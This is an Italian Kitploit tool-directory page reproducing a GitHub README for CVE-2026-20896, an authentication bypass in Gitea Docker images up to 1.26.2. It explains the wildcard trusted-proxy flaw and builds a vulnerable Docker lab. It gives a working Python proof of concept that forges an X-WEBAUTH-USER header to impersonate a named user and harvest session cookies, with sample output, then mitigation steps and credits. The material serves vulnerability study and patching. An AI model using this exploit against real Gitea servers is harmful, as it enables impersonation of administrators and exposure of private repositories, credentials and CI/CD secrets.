Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-20896-Gitea-Authentication-Bypass — Una spiegazione e un PoC per sfruttare la vulnerabilità di bypass dell'autenticazione CVE-2026-20896 su Gitea, consentendo di rubare i token di sessione degli utenti validi dell'istanza Gitea. | Kitploit
Strumenti/GitHubGitHub/judgedbykira/cve-2026-20896-gitea-authentication-bypass
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingAutenticazioneApprendimento e FormazioneLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
judgedbykira/cve-2026-20896-gitea-authentication-bypass

CVE-2026-20896-Gitea-Authentication-Bypass

Una spiegazione e un PoC per sfruttare la vulnerabilità di bypass dell'autenticazione CVE-2026-20896 su Gitea, consentendo di rubare i token di sessione degli utenti validi dell'istanza Gitea.

Vedi Repository
4 giorni faNon ancora revisionato

CVE-2026-20896 - Bypass dell'autenticazione di Gitea ≤1.26.2

1. Cos'è Gitea?

Gitea è una piattaforma di hosting Git leggera e open-source che consente a organizzazioni e sviluppatori di gestire repository di codice sorgente, tracciare issue, revisionare le modifiche e collaborare su progetti software. Offre funzionalità simili a piattaforme come GitHub e GitLab, ma è progettata per essere self-hosted, efficiente e facile da mantenere, rendendola adatta alle organizzazioni che desiderano un maggiore controllo sul proprio codice e sull'infrastruttura di sviluppo.

2. Spiegazione della vulnerabilità

CVE-2026-20896 è una vulnerabilità critica di bypass dell'autenticazione nell'immagine Docker ufficiale di Gitea, classificata con CVSS 9.8 (Critical). Colpisce le immagini Docker di Gitea fino alla versione 1.26.2 inclusa. Il problema di fondo è una configurazione predefinita non sicura: REVERSE_PROXY_TRUSTED_PROXIES = *, che fa sì che Gitea consideri affidabili gli header di autenticazione del reverse proxy provenienti da qualsiasi indirizzo IP. Quando l'autenticazione tramite reverse proxy è abilitata, un attaccante remoto non autenticato può quindi fornire un header X-WEBAUTH-USER contraffatto e fare sì che Gitea tratti l'attaccante come l'utente specificato. In particolare, impersonare un amministratore può comportare l'accesso amministrativo completo senza richiedere una password o un token di autenticazione valido.

L'impatto potenziale è grave, poiché l'accesso amministrativo a Gitea può esporre repository di codice sorgente privati, credenziali e segreti CI/CD, e consentire la modifica di repository, chiavi SSH, webhook e altre impostazioni sensibili per la sicurezza. La vulnerabilità riguarda specificamente le distribuzioni che utilizzano l'immagine Docker interessata insieme all'autenticazione tramite reverse proxy; non si tratta semplicemente di un difetto nel normale meccanismo di autenticazione tramite password di Gitea. Gitea ha risolto il problema nella versione 1.26.3, e gli amministratori dovrebbero aggiornare a una versione aggiornata e corretta e rivedere la configurazione di trust del reverse proxy piuttosto che fare affidamento sull'impostazione wildcard non sicura. I report hanno inoltre segnalato tentativi di sfruttamento contro istanze Gitea esposte, rendendo particolarmente importante una pronta risoluzione.

CWEs

  • CWE-284 – Controllo degli accessi improprio.

TTPs

  • T1078 (Account validi)
  • T1190 (Sfruttamento dell'applicazione esposta al pubblico)

3. Creazione del Lab

Eseguiremo un Docker Container utilizzando una versione vulnerabile di Gitea, in questo caso la versione 1.26.2, usando il seguente Dockerfile:

root@kitploit:~
FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

Per creare il docker container usa il seguente comando:

root@kitploit:~
docker build -t gitea-cve-2026-20896-lab .

Infine, distribuisci il docker container usando il seguente comando:

root@kitploit:~
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

4. Prova di concetto

Se conosciamo il nome di un qualsiasi utente nell'istanza Gitea, possiamo impersonarlo abusando dell'header X-WEBAUTH-USER: username; in questo lab abbiamo creato un utente chiamato jbkira, quindi cattureremo un normale accesso non autenticato alla pagina principale di Gitea usando un proxy. Ad esempio, userò BurpSuite e inseriremo l'header:

immagine

Se inoltriamo quella richiesta con l'header X-WEBAUTH-USER, quando torniamo alla pagina di Gitea nel nostro browser vedremo che ora siamo autenticati come utente jbkira. Ma non funziona sempre in questo modo, quindi ho creato uno Script PoC che esegue l'attacco e ruba il cookie di sessione dell'utente target, che potete poi copiare e incollare nel browser per ottenere l'accesso all'utente target.

5. Script PoC automatizzato

PoC automatizzato in Python che sfrutta il difetto di bypass dell'autenticazione e ruba il cookie di sessione dell'utente target:

root@kitploit:~
import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()

Esempio di utilizzo:

root@kitploit:~
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira


        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.

[+] Status code: 200

[+] Cookies retrieved for user jbkira:
    i_like_gitea = e12680e9c4e6e894
    lang = en-US

6. Mitigazione

La mitigazione principale per CVE-2026-20896 consiste nell'aggiornare Gitea dalla versione 1.26.2 o precedenti alla 1.26.3 o successive, poiché la 1.26.3 contiene la correzione di sicurezza per questa vulnerabilità. Se un aggiornamento immediato non è possibile, gli amministratori dovrebbero configurare esplicitamente REVERSE_PROXY_TRUSTED_PROXIES in modo che contenga solo l'indirizzo IP o la sottorete del reverse proxy di autenticazione legittimo, invece di *, e assicurarsi che la porta HTTP di Gitea non sia raggiungibile direttamente da client non affidabili. Ciò è particolarmente importante quando ENABLE_REVERSE_PROXY_AUTHENTICATION=true, poiché la vulnerabilità consente a una fonte non affidabile di iniettare X-WEBAUTH-USER e impersonare utenti esistenti.

7. Crediti

Crediti ad Ali Mustafa @rz1027 per aver scoperto e divulgato la vulnerabilità.

Scarica lo strumento